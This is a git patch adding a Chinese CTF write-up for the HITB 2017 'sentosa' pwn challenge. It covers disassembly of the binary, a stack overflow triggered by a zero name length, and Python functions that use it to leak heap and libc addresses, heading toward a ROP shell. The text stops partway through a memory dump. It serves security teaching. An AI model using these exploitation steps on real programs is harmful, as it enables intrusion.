From a6ada9d77675da7d3c45ddd48cf8411c959b3a2a Mon Sep 17 00:00:00 2001 From: firmianay Date: Tue, 1 May 2018 17:29:12 +0800 Subject: [PATCH] finish 6.1.18 --- doc/6.1.18_pwn_hitbctf2017_sentosa.md | 801 +++++++++++++++++- .../6.1.18_pwn_hitbctf2017_sentosa/exp.py | 110 +++ 2 files changed, 909 insertions(+), 2 deletions(-) create mode 100644 src/writeup/6.1.18_pwn_hitbctf2017_sentosa/exp.py diff --git a/doc/6.1.18_pwn_hitbctf2017_sentosa.md b/doc/6.1.18_pwn_hitbctf2017_sentosa.md index 174f59b..47a7197 100644 --- a/doc/6.1.18_pwn_hitbctf2017_sentosa.md +++ b/doc/6.1.18_pwn_hitbctf2017_sentosa.md @@ -2,7 +2,7 @@ - [题目复现](#题目复现) - [题目解析](#题目解析) -- [Exploit](#exploit) +- [漏洞利用](#漏洞利用) - [参考资料](#参考资料) @@ -19,11 +19,808 @@ $ strings libc.so.6| grep "GNU C" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu4) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 5.4.0 20160609. ``` +保护全开,默认开启 ASLR。 + +在 Ubuntu-16.04 上玩一下: +``` +$ ./sentosa +Welcome to Sentosa Development Center +Choose your action: +1. Start a project +2. View all projects +3. Edit a project +4. Cancel a project +5. Exit +1 +Input length of your project name: 10 +Input your project name: AAAA +Input your project price: 10 +Input your project area: 10 +Input your project capacity: 10 +Your project is No.0 +Welcome to Sentosa Development Center +Choose your action: +1. Start a project +2. View all projects +3. Edit a project +4. Cancel a project +5. Exit +2 +Project: AAAA +Price: 10 +Area: 10 +Capacity: 10 +Welcome to Sentosa Development Center +Choose your action: +1. Start a project +2. View all projects +3. Edit a project +4. Cancel a project +5. Exit +3 +Not implemented yet +Welcome to Sentosa Development Center +Choose your action: +1. Start a project +2. View all projects +3. Edit a project +4. Cancel a project +5. Exit +4 +Input your projects number: 0 +``` +可以新增、查看和删除 project,但修改功能还未实现,这似乎意味着我们不能对堆进行修改。 + +现在我们给 length 输入 0 试试看: +``` +$ ./sentosa +Welcome to Sentosa Development Center +Choose your action: +1. Start a project +2. View all projects +3. Edit a project +4. Cancel a project +5. Exit +1 +Input length of your project name: 0 +Input your project name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +Input your project price: 10 +Input your project area: 10 +Input your project capacity: 10 +Your project is No.0 +*** stack smashing detected ***: ./sentosa terminated +[2] 5673 abort (core dumped) ./sentosa +``` +造成了缓冲区溢出,可见字符串读取的函数肯定是存在问题的。 ## 题目解析 +下面我们依次来逆向这些函数。 + +#### Start a project +``` +[0x00000a30]> pdf @ sub.There_are_too_much_projects_ca0 +/ (fcn) sub.There_are_too_much_projects_ca0 482 +| sub.There_are_too_much_projects_ca0 (); +| ; UNKNOWN XREF from 0x00001112 (sub.__isoc99_scanf_80 + 146) +| ; CALL XREF from 0x00001112 (sub.__isoc99_scanf_80 + 146) +| 0x00000ca0 push r13 +| 0x00000ca2 push r12 +| 0x00000ca4 push rbp +| 0x00000ca5 push rbx +| 0x00000ca6 xor ebx, ebx ; ebx 作为序号 i,初始化为 0 +| 0x00000ca8 sub rsp, 0x88 ; buffer[0x88] +| 0x00000caf mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '(' +| 0x00000cb8 mov qword [rsp + 0x78], rax +| 0x00000cbd xor eax, eax +| 0x00000cbf cmp dword [0x002020c0], 0x10 ; [0x002020c0] 存储当前数量 proj_num +| 0x00000cc6 lea rax, [0x00202040] ; 取出数组 projects +| ,=< 0x00000ccd jg 0xe80 ; proj_num 大于 0x10 时跳转 +| | 0x00000cd3 nop dword [rax + rax] +| | ; JMP XREF from 0x00000cea (sub.There_are_too_much_projects_ca0) +| .--> 0x00000cd8 cmp qword [rax + rbx*8], 0 ; projects[i] 与 0 比较 +| :| 0x00000cdd movsxd rbp, ebx +| ,===< 0x00000ce0 je 0xd10 ; projects[i] 为 0 时跳转 +| |:| 0x00000ce2 add rbx, 1 ; 否则 i = i+1 +| |:| 0x00000ce6 cmp rbx, 0x10 +| |`==< 0x00000cea jne 0xcd8 ; i 不等于 0x10 时跳转(循环,目的是找到为 0 的 projects[i]) +| | | 0x00000cec lea rsi, str.Error. ; 0x135b ; "Error." ; 否则打印出 Error +| | | 0x00000cf3 mov edi, 1 +| | | 0x00000cf8 xor eax, eax +| | | 0x00000cfa call sym.imp.__printf_chk +| | | 0x00000cff xor edi, edi +| | | 0x00000d01 call sym.imp.exit ; void exit(int status) + | | 0x00000d06 nop word cs:[rax + rax] +| | | ; JMP XREF from 0x00000ce0 (sub.There_are_too_much_projects_ca0) +| `---> 0x00000d10 lea rsi, str.Input_length_of_your_project_name: ; 0x11f0 ; "Input length of your project name: " +| | 0x00000d17 mov edi, 1 +| | 0x00000d1c xor eax, eax +| | 0x00000d1e call sym.imp.__printf_chk +| | 0x00000d23 lea rsi, [rsp + 0xc] +| | 0x00000d28 lea rdi, [0x00001309] ; "%d" +| | 0x00000d2f xor eax, eax +| | 0x00000d31 call sym.imp.__isoc99_scanf +| | 0x00000d36 movsxd rax, dword [rsp + 0xc] ; rax = length +| | 0x00000d3b cmp eax, 0x59 ; 'Y' +| ,==< 0x00000d3e ja 0xe70 ; 表示 length 不能大于 0x59 +| || 0x00000d44 lea rdi, [rax + 0x15] +| || 0x00000d48 lea r13, [rsp + 0x10] ; r13 = rsp + 0x10 +| || 0x00000d4d call sym.imp.malloc ; malloc(length+0x15) 分配 project +| || 0x00000d52 mov edx, dword [rsp + 0xc] ; 取出 length 到 edx +| || 0x00000d56 mov qword [rsp + 0x6a], rax ; 将 project 地址放到 [rsp + 0x6a] +| || 0x00000d5b mov ecx, 0xb +| || 0x00000d60 mov rdi, r13 ; rdi = rsp+0x10 +| || 0x00000d63 lea rsi, str.Input_your_project_name: ; 0x12d4 ; "Input your project name: " +| || 0x00000d6a lea r12, [rax + rdx + 5] ; r12 = &project[length+5] +| || 0x00000d6f mov dword [rax], edx ; project->length = length +| || 0x00000d71 xor eax, eax ; eax = 0 +| || 0x00000d73 rep stosq qword [rdi], rax ; 清空 buffer +| || 0x00000d76 xor edx, edx ; edx = 0 +| || 0x00000d78 mov word [rdi], dx ; [rsp+0x10] = 0 +| || 0x00000d7b mov edi, 1 +| || 0x00000d80 call sym.imp.__printf_chk +| || 0x00000d85 mov esi, dword [rsp + 0xc] ; [0xc:4]=0 +| || 0x00000d89 mov rdi, r13 +| || 0x00000d8c call sub.read_bf0 ; 调用函数 read_bf0(rsp+0x10, length) 读入 name +| || 0x00000d91 mov rax, qword [rsp + 0x6a] ; rax 存放 project +| || 0x00000d96 movsxd rdx, dword [rsp + 0xc] ; [0xc:4]=0 +| || 0x00000d9b mov rsi, r13 +| || 0x00000d9e lea rdi, [rax + 4] +| || 0x00000da2 call sym.imp.strncpy ; strncpy(project+4, name, length),即将 name 复制到 project->name +| || 0x00000da7 lea rsi, str.Input_your_project_price: ; 0x12ee ; "Input your project price: " +| || 0x00000dae mov edi, 1 +| || 0x00000db3 mov dword [r12], 1 ; project[length+5] = 1,即 project->check +| || 0x00000dbb xor eax, eax +| || 0x00000dbd call sym.imp.__printf_chk +| || 0x00000dc2 lea rsi, [r12 + 4] ; rsi = project[length+5 + 4],即 project->price +| || 0x00000dc7 lea rdi, [0x00001309] ; "%d" +| || 0x00000dce xor eax, eax +| || 0x00000dd0 call sym.imp.__isoc99_scanf +| || 0x00000dd5 lea rsi, str.Input_your_project_area: ; 0x130c ; "Input your project area: " +| || 0x00000ddc mov edi, 1 +| || 0x00000de1 xor eax, eax +| || 0x00000de3 call sym.imp.__printf_chk +| || 0x00000de8 lea rsi, [r12 + 8] ; rsi = project[length+5 + 8],即 project->area +| || 0x00000ded lea rdi, [0x00001309] ; "%d" +| || 0x00000df4 xor eax, eax +| || 0x00000df6 call sym.imp.__isoc99_scanf +| || 0x00000dfb lea rsi, str.Input_your_project_capacity: ; 0x1326 ; "Input your project capacity: " +| || 0x00000e02 mov edi, 1 +| || 0x00000e07 xor eax, eax +| || 0x00000e09 call sym.imp.__printf_chk +| || 0x00000e0e lea rsi, [r12 + 0xc] ; rsi = project[length+5 + 12],即 project->capacity +| || 0x00000e13 lea rdi, [0x00001309] ; "%d" +| || 0x00000e1a xor eax, eax +| || 0x00000e1c call sym.imp.__isoc99_scanf +| || 0x00000e21 mov rdx, qword [rsp + 0x6a] ; 取出 project +| || 0x00000e26 lea rax, [0x00202040] +| || 0x00000e2d lea rsi, str.Your_project_is_No._d ; 0x1344 ; "Your project is No.%d\n" +| || 0x00000e34 mov edi, 1 +| || 0x00000e39 mov qword [rax + rbp*8], rdx ; projects[i] = project,放到数组中 +| || 0x00000e3d mov edx, ebx +| || 0x00000e3f xor eax, eax +| || 0x00000e41 call sym.imp.__printf_chk +| || 0x00000e46 add dword [0x002020c0], 1 ; proj_num 加 1 +| || ; JMP XREF from 0x00000e7c (sub.There_are_too_much_projects_ca0) +| || ; JMP XREF from 0x00000e8c (sub.There_are_too_much_projects_ca0) +| ..---> 0x00000e4d mov rax, qword [rsp + 0x78] ; [0x78:8]=0x400000003 ; 'x' +| ::|| 0x00000e52 xor rax, qword fs:[0x28] +| ,=====< 0x00000e5b jne 0xe8e +| |::|| 0x00000e5d add rsp, 0x88 +| |::|| 0x00000e64 pop rbx +| |::|| 0x00000e65 pop rbp +| |::|| 0x00000e66 pop r12 +| |::|| 0x00000e68 pop r13 +| |::|| 0x00000e6a ret + |::|| 0x00000e6b nop dword [rax + rax] +| |::|| ; JMP XREF from 0x00000d3e (sub.There_are_too_much_projects_ca0) +| |::`--> 0x00000e70 lea rdi, str.Invalid_name_length ; 0x12bf ; "Invalid name length!" +| |:: | 0x00000e77 call sym.imp.puts ; int puts(const char *s) +| |`====< 0x00000e7c jmp 0xe4d + | : | 0x00000e7e nop +| | : | ; JMP XREF from 0x00000ccd (sub.There_are_too_much_projects_ca0) +| | : `-> 0x00000e80 lea rdi, str.There_are_too_much_projects ; 0x12a2 ; "There are too much projects!" +| | : 0x00000e87 call sym.imp.puts ; int puts(const char *s) +| | `===< 0x00000e8c jmp 0xe4d +| | ; JMP XREF from 0x00000e5b (sub.There_are_too_much_projects_ca0) +\ `-----> 0x00000e8e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) +``` +通过上面的分析可以得到 project 结构体和 projects 数组: +```c +struct project { + int length; + char name[length]; + int check; + int price; + int area; + int capacity; +} project; + +struct project *projects[0x10]; +``` +projects 位于 `0x00202040`,proj_num 位于 `0x002020c0`。 + +用户输入的 length 必须小于 0x59,使用 malloc(length+0x15) 分配一块堆空间作为 project,然后调用 `read_buf0()` 读入 name 到栈上。读入 name 后将其复制到 project 中,然后将 check 置为 1,最后再依次读入 price、area 和 capacity。 + +程序自己实现的 `read_bf0()` 函数如下: +``` +[0x00000a30]> pdf @ sub.read_bf0 +/ (fcn) sub.read_bf0 148 +| sub.read_bf0 (); +| ; var int local_0h @ rbp-0x0 +| ; CALL XREF from 0x00000d8c (sub.There_are_too_much_projects_ca0) +| 0x00000bf0 push r14 +| 0x00000bf2 push r13 +| 0x00000bf4 push r12 +| 0x00000bf6 push rbp +| 0x00000bf7 mov r12, rdi ; r12 存储 buffer 地址 +| 0x00000bfa push rbx +| 0x00000bfb sub rsp, 0x10 +| 0x00000bff mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '(' +| 0x00000c08 mov qword [rsp + 8], rax +| 0x00000c0d xor eax, eax +| 0x00000c0f sub esi, 1 ; length 减 1 +| ,=< 0x00000c12 je 0xc8a ; length 等于 0 时跳转 +| | 0x00000c14 mov r13d, esi ; 否则继续 +| | 0x00000c17 mov rbp, rdi ; rbp 存储 buffer 地址 +| | 0x00000c1a xor ebx, ebx ; 循环计算 i,初始化为 0 +| | 0x00000c1c lea r14, [rsp + 7] ; 读入字符到 [rsp+7] +| ,==< 0x00000c21 jmp 0xc37 + || 0x00000c23 nop dword [rax + rax] +| || ; JMP XREF from 0x00000c4f (sub.read_bf0) +| .---> 0x00000c28 add ebx, 1 ; i = i + 1 +| :|| 0x00000c2b mov byte [rbp], al ; 将字符放到 [rbp] +| :|| 0x00000c2e add rbp, 1 ; rbp = rbp + 1 +| :|| 0x00000c32 cmp ebx, r13d +| ,====< 0x00000c35 je 0xc80 ; i 等于 length 时跳转 +| |:|| ; JMP XREF from 0x00000c21 (sub.read_bf0) +| |:`--> 0x00000c37 xor edi, edi ; i 不等于 length 时循环继续 +| |: | 0x00000c39 xor eax, eax +| |: | 0x00000c3b mov edx, 1 +| |: | 0x00000c40 mov rsi, r14 +| |: | 0x00000c43 call sym.imp.read ; read(0, rsp+7, 1) 每次读入一个字节 +| |: | 0x00000c48 movzx eax, byte [rsp + 7] ; [0x7:1]=0 +| |: | 0x00000c4d cmp al, 0xa ; 判断是否为 '\n' +| |`===< 0x00000c4f jne 0xc28 ; 不是 '\n' 时循环继续 +| | | 0x00000c51 movsxd rbx, ebx ; 否则 rbx = i +| | | 0x00000c54 mov byte [r12 + rbx], 0 ; buffer[i] = 0,即末尾加 '\x00' +| | | ; JMP XREF from 0x00000c88 (sub.read_bf0) +| | .--> 0x00000c59 mov rax, qword [rsp + 8] ; [0x8:8]=0 +| | :| 0x00000c5e xor rax, qword fs:[0x28] +| |,===< 0x00000c67 jne 0xc8e +| ||:| 0x00000c69 add rsp, 0x10 +| ||:| 0x00000c6d pop rbx +| ||:| 0x00000c6e pop rbp +| ||:| 0x00000c6f pop r12 +| ||:| 0x00000c71 pop r13 +| ||:| 0x00000c73 pop r14 +| ||:| 0x00000c75 ret + ||:| 0x00000c76 nop word cs:[rax + rax] +| ||:| ; JMP XREF from 0x00000c35 (sub.read_bf0) +| `----> 0x00000c80 movsxd rbx, ebx +| |:| ; JMP XREF from 0x00000c8c (sub.read_bf0) +| .----> 0x00000c83 mov byte [r12 + rbx], 0 +| :|`==< 0x00000c88 jmp 0xc59 +| :| | ; JMP XREF from 0x00000c12 (sub.read_bf0) +| :| `-> 0x00000c8a xor ebx, ebx +| `====< 0x00000c8c jmp 0xc83 +| | ; JMP XREF from 0x00000c67 (sub.read_bf0) +\ `---> 0x00000c8e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) +``` +正如我们一开始猜测的,这个函数是有问题的,如果输入 0 作为 length,则 length-1(能读入的实际长度) 后得到一个负数,在循环判断时,负数永远不会等于一个正数,于是将读入任意长度的字符串(以'\n'结尾),造成缓冲区溢出。 + +字符串末尾会被加上 '\x00',且开启了 Canary,暂时还没想到如何利用,继续往下看。另外特别注意 malloc 后得到的 project 的地址存放在 `rsp + 0x6a` 的位置。 + +#### View all projects +``` +[0x00000a30]> pdf @ sub.Project:__s_ea0 +/ (fcn) sub.Project:__s_ea0 191 +| sub.Project:__s_ea0 (int arg_4h, int arg_8h, int arg_ch); +| ; arg int arg_4h @ rbp+0x4 +| ; arg int arg_8h @ rbp+0x8 +| ; arg int arg_ch @ rbp+0xc +| ; CALL XREF from 0x00001102 (sub.__isoc99_scanf_80 + 130) +| 0x00000ea0 push r12 +| 0x00000ea2 push rbp +| 0x00000ea3 lea r12, [0x002020c0] ; 取出 &proj_num +| 0x00000eaa push rbx +| 0x00000eab lea rbx, [0x00202040] ; 取出 &projects +| 0x00000eb2 sub rsp, 0x10 +| 0x00000eb6 mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '(' +| 0x00000ebf mov qword [rsp + 8], rax +| 0x00000ec4 xor eax, eax +| 0x00000ec6 nop word cs:[rax + rax] +| ; JMP XREF from 0x00000f3f (sub.Project:__s_ea0) +| .-> 0x00000ed0 mov rdx, qword [rbx] ; 取出此时开头的 project +| : 0x00000ed3 test rdx, rdx +| ,==< 0x00000ed6 je 0xf38 ; 该 project 为 0 时跳转 +| |: 0x00000ed8 mov eax, dword [rdx] +| |: 0x00000eda lea rsi, str.Project:__s ; 0x1362 ; "Project: %s\n" +| |: 0x00000ee1 mov edi, 1 +| |: 0x00000ee6 lea rbp, [rdx + rax + 5] ; rbp = project->check +| |: 0x00000eeb add rdx, 4 ; rdx = project->name +| |: 0x00000eef xor eax, eax +| |: 0x00000ef1 call sym.imp.__printf_chk ; 打印出 project->name +| |: 0x00000ef6 mov edx, dword [arg_4h] ; rdx = project->price +| |: 0x00000ef9 lea rsi, str.Price:__d ; 0x136f ; "Price: %d\n" +| |: 0x00000f00 mov edi, 1 +| |: 0x00000f05 xor eax, eax +| |: 0x00000f07 call sym.imp.__printf_chk ; 打印出 project->price +| |: 0x00000f0c mov edx, dword [arg_8h] ; rdx = project->area +| |: 0x00000f0f lea rsi, str.Area:__d ; 0x137a ; "Area: %d\n" +| |: 0x00000f16 mov edi, 1 +| |: 0x00000f1b xor eax, eax +| |: 0x00000f1d call sym.imp.__printf_chk ; 打印出 project->area +| |: 0x00000f22 mov edx, dword [arg_ch] ; rdx = project->capacity +| |: 0x00000f25 lea rsi, str.Capacity:__d ; 0x1384 ; "Capacity: %d\n" +| |: 0x00000f2c mov edi, 1 +| |: 0x00000f31 xor eax, eax +| |: 0x00000f33 call sym.imp.__printf_chk ; 打印出 project->capacity +| |: ; JMP XREF from 0x00000ed6 (sub.Project:__s_ea0) +| `--> 0x00000f38 add rbx, 8 ; rbx += 8,即 projects 向后移一个 +| : 0x00000f3c cmp rbx, r12 +| `=< 0x00000f3f jne 0xed0 ; &projects 不等于 &proj_num 时循环继续 +| 0x00000f41 mov rax, qword [rsp + 8] ; [0x8:8]=0 +| 0x00000f46 xor rax, qword fs:[0x28] +| ,=< 0x00000f4f jne 0xf5a +| | 0x00000f51 add rsp, 0x10 +| | 0x00000f55 pop rbx +| | 0x00000f56 pop rbp +| | 0x00000f57 pop r12 +| | 0x00000f59 ret +| | ; JMP XREF from 0x00000f4f (sub.Project:__s_ea0) +\ `-> 0x00000f5a call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) +``` +该函数用于打印出所有存在的 project 的信息。 + +#### Cancel a project +``` +[0x00000a30]> pdf @ sub.There_are_no_project_to_cancel_f60 +/ (fcn) sub.There_are_no_project_to_cancel_f60 207 +| sub.There_are_no_project_to_cancel_f60 (); +| ; CALL XREF from 0x000010e2 (sub.__isoc99_scanf_80 + 98) +| 0x00000f60 push rbx +| 0x00000f61 sub rsp, 0x10 +| 0x00000f65 mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '(' +| 0x00000f6e mov qword [rsp + 8], rax +| 0x00000f73 xor eax, eax +| 0x00000f75 mov eax, dword [0x002020c0] ; 取出 proj_num +| 0x00000f7b test eax, eax +| ,=< 0x00000f7d jle 0x1010 ; proj_num 小于等于 0 时跳转 +| | 0x00000f83 lea rsi, str.Input_your_projects_number: ; 0x1392 ; "Input your projects number: " +| | 0x00000f8a mov edi, 1 +| | 0x00000f8f xor eax, eax +| | 0x00000f91 call sym.imp.__printf_chk +| | 0x00000f96 lea rsi, [rsp + 4] +| | 0x00000f9b lea rdi, [0x00001309] ; "%d" +| | 0x00000fa2 xor eax, eax +| | 0x00000fa4 call sym.imp.__isoc99_scanf ; 读入 i 到 rsp+4 +| | 0x00000fa9 movsxd rax, dword [rsp + 4] ; [0x4:4]=0x10102 +| | 0x00000fae cmp eax, 0xf +| ,==< 0x00000fb1 ja 0x1000 ; i 大于 0xf 时函数返回 +| || 0x00000fb3 lea rbx, [0x00202040] ; 取出 &projects +| || 0x00000fba mov rdi, qword [rbx + rax*8] ; 取出 projects[i] +| || 0x00000fbe test rdi, rdi +| ,===< 0x00000fc1 je 0x1000 ; projects[i] 为 0 时函数返回 +| ||| 0x00000fc3 mov eax, dword [rdi] +| ||| 0x00000fc5 cmp dword [rdi + rax + 5], 1 ; 检查 projects[i]->check 是否为 1 +| ,====< 0x00000fca jne 0x1023 ; 不为 1 时程序结束 +| |||| 0x00000fcc call sym.imp.free ; free(projects[i]) 释放 project +| |||| 0x00000fd1 movsxd rax, dword [rsp + 4] ; [0x4:4]=0x10102 +| |||| 0x00000fd6 sub dword [0x002020c0], 1 ; proj_num 减 1 +| |||| 0x00000fdd mov qword [rbx + rax*8], 0 ; projects[i] = 0 将其置 0 +| |||| ; JMP XREF from 0x0000100c (sub.There_are_no_project_to_cancel_f60) +| |||| ; JMP XREF from 0x0000101c (sub.There_are_no_project_to_cancel_f60) +| ..-----> 0x00000fe5 mov rax, qword [rsp + 8] ; [0x8:8]=0 +| ::|||| 0x00000fea xor rax, qword fs:[0x28] +| ,=======< 0x00000ff3 jne 0x101e +| |::|||| 0x00000ff5 add rsp, 0x10 +| |::|||| 0x00000ff9 pop rbx +| |::|||| 0x00000ffa ret + |::|||| 0x00000ffb nop dword [rax + rax] +| |::|||| ; JMP XREF from 0x00000fb1 (sub.There_are_no_project_to_cancel_f60) +| |::|||| ; JMP XREF from 0x00000fc1 (sub.There_are_no_project_to_cancel_f60) +| |::|``--> 0x00001000 lea rdi, str.Invalid_number ; 0x13af ; "Invalid number!" +| |::| | 0x00001007 call sym.imp.puts ; int puts(const char *s) +| |`======< 0x0000100c jmp 0xfe5 + | :| | 0x0000100e nop +| | :| | ; JMP XREF from 0x00000f7d (sub.There_are_no_project_to_cancel_f60) +| | :| `-> 0x00001010 lea rdi, str.There_are_no_project_to_cancel ; 0x1218 ; "There are no project to cancel!" +| | :| 0x00001017 call sym.imp.puts ; int puts(const char *s) +| | `=====< 0x0000101c jmp 0xfe5 +| | | ; JMP XREF from 0x00000ff3 (sub.There_are_no_project_to_cancel_f60) +| `-------> 0x0000101e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) +| | ; JMP XREF from 0x00000fca (sub.There_are_no_project_to_cancel_f60) +| `----> 0x00001023 lea rdi, str.Corrupted_project ; 0x13bf ; "Corrupted project!" +| 0x0000102a call sym.imp.puts ; int puts(const char *s) +| 0x0000102f xor edi, edi +\ 0x00001031 call sym.imp.exit ; void exit(int status) +``` +该函数首先检查 project->check 是否被修改(不等于1),如果没有则释放该 project,并将 projects[i] 置 0。否则程序退出。这个函数似乎没有悬指针之类的问题。 + + +## 漏洞利用 +总结一下,就是在 `read_bf0()` 函数中存在一个栈溢出漏洞。 + +我们来看一下 `read_bf0()` 函数中的内存布局,假设分配一个这样的 project: +```python +start_proj(0x4f, "A"*(0x4f-1), 2, 3, 4) +``` +``` +gdb-peda$ x/22gx $rsp +0x7fffffffec70: 0x00007ffff7dd3780 0x0000004ff7b046e0 +0x7fffffffec80: 0x4141414141414141 0x4141414141414141 <-- name +0x7fffffffec90: 0x4141414141414141 0x4141414141414141 +0x7fffffffeca0: 0x4141414141414141 0x4141414141414141 +0x7fffffffecb0: 0x4141414141414141 0x4141414141414141 +0x7fffffffecc0: 0x4141414141414141 0x0000414141414141 +0x7fffffffecd0: 0x0000000000000000 0x5555557570100000 <-- project address +0x7fffffffece0: 0x0000000000000000 0x38a9eb4968c1da00 <-- canary +0x7fffffffecf0: 0x000055555555529a 0x00005555555553f8 +0x7fffffffed00: 0x00007fffffffed24 0x0000555555554a30 +0x7fffffffed10: 0x00007fffffffee40 0x0000555555555117 <-- return address +gdb-peda$ x/g $rsp+0x6a +0x7fffffffecda: 0x0000555555757010 <-- project address +gdb-peda$ x/18gx *(void **)($rsp+0x6a)-0x10 +0x555555757000: 0x0000000000000000 0x0000000000000071 <-- project chunk +0x555555757010: 0x414141410000004f 0x4141414141414141 <-- length <-- name +0x555555757020: 0x4141414141414141 0x4141414141414141 +0x555555757030: 0x4141414141414141 0x4141414141414141 +0x555555757040: 0x4141414141414141 0x4141414141414141 +0x555555757050: 0x4141414141414141 0x4141414141414141 +0x555555757060: 0x0000000100004141 0x0000000300000002 <-- check <-- price, area +0x555555757070: 0x0000000000000004 0x0000000000020f91 <-- capacity <-- top chunk +0x555555757080: 0x0000000000000000 0x0000000000000000 +gdb-peda$ x/18gx 0x555555756040 +0x555555756040: 0x0000555555757010 0x0000000000000000 <-- projects +0x555555756050: 0x0000000000000000 0x0000000000000000 +0x555555756060: 0x0000000000000000 0x0000000000000000 +0x555555756070: 0x0000000000000000 0x0000000000000000 +0x555555756080: 0x0000000000000000 0x0000000000000000 +0x555555756090: 0x0000000000000000 0x0000000000000000 +0x5555557560a0: 0x0000000000000000 0x0000000000000000 +0x5555557560b0: 0x0000000000000000 0x0000000000000000 +0x5555557560c0: 0x0000000000000001 0x0000000000000000 <-- proj_num +``` +所以其实在覆盖到 Canary 之前,我们是有一个 project 地址可以覆盖的,但由于 `read_bf0()` 会在字符串末尾加 `"\x00"`,所以我们只能够将地址的低位覆盖为 `"\x00"`。在新增 project 过程的最后,会将 project address 放到数组 projects 中,所以我们可以将覆盖后的 project address 放进数组。然后利用 View 的功能就可以打印出内容。 + +另外我们应该注意的是上面的 project address 是最后一次 malloc 返回的地址,即最后添加的 project 的 address。在上面的例子中,如果我们将 project address 覆盖掉,则它指向了 project 的 chunk 头。所以我们可以将其指向一个被释放的 fastbin,它的 fd 指针指向了 heap 上的一个地址,只要将其打印出来就可以通过计算得到 heap 基址。 + +得到了 heap 基址后,我们就可以将 project address 修改为任意的堆地址,从而读取任意信息。所以下一步我们从堆里得到 libc 地址,接着通过 libc 的 `__environ` 符号得到 stack 地址,最后就可以从栈上得到 Canary。构造 ROP 得到 shell。 + +#### leak heap +```python +def leak_heap(): + global heap_base + + start_proj(0, 'A', 1, 1, 1) # 0 + start_proj(0, 'A'*0x5a, 1, 1, 1) # 1 + start_proj(0, 'A', 1, 1, 1) # 2 + cancel_proj(2) + cancel_proj(0) + view_proj() + io.recvuntil("Capacity: ") + leak = int(io.recvline()[:-1], 10) & 0xffffffff + heap_base = (0x55<<40) + (leak<<8) # 0x55 or 0x56 + log.info("libc base: 0x%x" % heap_base) +``` +首先分配 3 个 fast chunk,其中第 2 个利用栈溢出修改 project address,使其指向第 chunk 0。然后依次释放掉 chunk 2 和 chunk 0,此时 chunk 0 的 fd 指向了 chunk 2: +``` +gdb-peda$ x/18gx 0x555555756040 +0x555555756040: 0x0000000000000000 0x0000555555757000 <-- projects +0x555555756050: 0x0000000000000000 0x0000000000000000 +0x555555756060: 0x0000000000000000 0x0000000000000000 +0x555555756070: 0x0000000000000000 0x0000000000000000 +0x555555756080: 0x0000000000000000 0x0000000000000000 +0x555555756090: 0x0000000000000000 0x0000000000000000 +0x5555557560a0: 0x0000000000000000 0x0000000000000000 +0x5555557560b0: 0x0000000000000000 0x0000000000000000 +0x5555557560c0: 0x0000000000000001 0x0000000000000000 <-- proj_num +gdb-peda$ x/16gx 0x555555757010-0x10 +0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0 [be freed] +0x555555757010: 0x0000555555757040 0x0000010000000100 <-- fd pointer +0x555555757020: 0x0000000000000100 0x0000000000000021 <-- chunk 1 +0x555555757030: 0x0000010000000000 0x0000010000000100 +0x555555757040: 0x0000000000000100 0x0000000000000021 <-- chunk 2 [be freed] +0x555555757050: 0x0000000000000000 0x0000010000000100 +0x555555757060: 0x0000000000000100 0x0000000000020fa1 <-- top chunk +0x555555757070: 0x0000000000000000 0x0000000000000000 +``` +然后 View 打印出来就得到了 heap 基址。这种构造方法还是有一点问题的,不能打印出最高位的 `0x55`,但我们知道这个值相对固定,所以直接加上就可以了。 + +#### leak libc +```python +def leak_libc(): + global libc_base + + start_proj(0xf, 'A', 0xd1, 0, 0x64) # 0 + start_proj(0x50, '\x01', 1, 1, 1) # 2 + start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1) # 3 + start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1) # 4 + start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1) # 5 + cancel_proj(4) + + view_proj() + for i in range(5): + io.recvuntil("Area: ") + leak_low = int(io.recvline()[:-1], 10) & 0xffffffff + io.recvuntil("Capacity: ") + leak_high = int(io.recvline()[:-1], 10) & 0xffff + libc_base = leak_low + (leak_high<<32) - 0x3c3b78 + + log.info("libc base: 0x%x" % libc_base) +``` +由于我们不能直接分配一个 small chunk,所以需要构造一个 fake chunk。利用栈溢出修改 project address 可以做到这一点。另外还需要满足 libc free 的检查,还有 Cancel 过程中的 check。 + +首先分配 5 个 project,其中最后两个利用漏洞修改了 project address,使其指向 fake chunk。此时内存布局如下: +``` +gdb-peda$ x/18gx 0x555555756040 +0x555555756040: 0x0000555555757070 0x0000555555757000 <-- projects +0x555555756050: 0x00005555557570a0 0x0000555555757110 +0x555555756060: 0x0000555555757090 0x000055555575708b +0x555555756070: 0x0000000000000000 0x0000000000000000 +0x555555756080: 0x0000000000000000 0x0000000000000000 +0x555555756090: 0x0000000000000000 0x0000000000000000 +0x5555557560a0: 0x0000000000000000 0x0000000000000000 +0x5555557560b0: 0x0000000000000000 0x0000000000000000 +0x5555557560c0: 0x0000000000000006 0x0000000000000000 <-- proj_num +gdb-peda$ x/50gx 0x555555757010-0x10 +0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 1 +0x555555757010: 0x0000015500000000 0x0000010000000100 +0x555555757020: 0x0000000000000100 0x0000000000000021 +0x555555757030: 0x0000010000000000 0x0000010000000100 +0x555555757040: 0x0000000000000100 0x0000000000000021 +0x555555757050: 0x0000010000000000 0x0000010000000100 +0x555555757060: 0x0000000000000100 0x0000000000000031 <-- chunk 0 +0x555555757070: 0x000000410000000f 0x0000000000000000 +0x555555757080: 0x0000000100000000 0x00000000000000d1 <-- fake chunk (chunk 4) +0x555555757090: 0x0000000000000064 0x0000000000000071 <-- chunk 2 +0x5555557570a0: 0x0000000100000050 0x0000000000000000 